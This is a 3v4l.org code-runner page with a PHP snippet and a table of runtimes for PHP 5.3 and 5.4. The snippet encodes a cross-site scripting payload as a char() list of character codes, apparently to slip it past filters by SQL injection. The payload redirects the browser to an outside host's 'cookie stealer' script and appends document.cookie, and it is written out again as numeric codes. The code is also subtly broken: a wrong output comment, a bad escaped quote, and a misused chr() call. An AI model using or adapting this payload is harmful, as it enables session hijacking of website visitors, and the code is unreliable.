3v4l.org

run code in 300+ PHP versions simultaneously
<?php function AsciiToInt($char){ $success = ""; if(strlen($char) == 1) return "char(".ord($char).")"; else{ for($i = 0; $i < strlen($char); $i++){ if($i == strlen($char) - 1) $success = $success.ord($char[$i]); else $success = $success.ord($char[$i]).","; } return "char(".$success.")"; } } echo AsciiToInt("<script language='JavaScript'>location.href='http://skrubbeltrang.t15.org/adv_cookie_stealer.php?c='+document.cookie;</script>");//outputs char(60,98,114,62) echo "\n\n\n\"; echo chr(60,115,99,114,105,112,116,32,108,97,110,103,117,97,103,101,61,39,74,97,118,97,83,99,114,105,112,116,39,62,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,115,107,114,117,98,98,101,108,116,114,97,110,103,46,116,49,53,46,111,114,103,47,97,100,118,95,99,111,111,107,105,101,95,115,116,101,97,108,101,114,46,112,104,112,63,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,60,47,115,99,114,105,112,116,62); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.270.0070.04312.37
5.4.260.0070.04512.37
5.4.250.0070.04712.37
5.4.240.0080.04312.37
5.4.230.0090.04312.36
5.4.220.0050.04512.36
5.4.210.0070.04112.36
5.4.200.0070.04412.36
5.4.190.0070.04212.36
5.4.180.0090.04512.36
5.4.170.0070.04312.37
5.4.160.0050.04312.36
5.4.150.0040.04412.36
5.4.140.0090.04212.05
5.4.130.0070.04412.03
5.4.120.0070.04111.99
5.4.110.0070.04111.99
5.4.100.0070.03911.99
5.4.90.0050.04311.99
5.4.80.0070.04311.99
5.4.70.0080.03911.98
5.4.60.0050.04311.99
5.4.50.0070.04411.98
5.4.40.0060.04211.97
5.4.30.0080.03911.97
5.4.20.0040.04311.97
5.4.10.0050.04311.96
5.4.00.0050.04711.46
5.3.280.0070.04312.71
5.3.270.0090.04312.72
5.3.260.0070.04612.72
5.3.250.0060.04612.72
5.3.240.0080.04512.72
5.3.230.0040.04612.71
5.3.220.0080.04212.68
5.3.210.0050.04912.68
5.3.200.0070.04312.68
5.3.190.0060.04312.68
5.3.180.0090.04312.67
5.3.170.0040.04612.67
5.3.160.0100.04612.68
5.3.150.0090.04512.67
5.3.140.0070.04312.66
5.3.130.0100.04312.66
5.3.120.0070.04612.66
5.3.110.0090.04412.66
5.3.100.0090.04112.12
5.3.90.0050.04512.08
5.3.80.0070.04112.08
5.3.70.0080.03912.07
5.3.60.0060.04212.06
5.3.50.0070.04212.00
5.3.40.0090.03912.00
5.3.30.0060.04211.95
5.3.20.0110.03911.73
5.3.10.0050.04711.70
5.3.00.0080.04311.68

preferences:
140.39 ms | 1394 KiB | 7 Q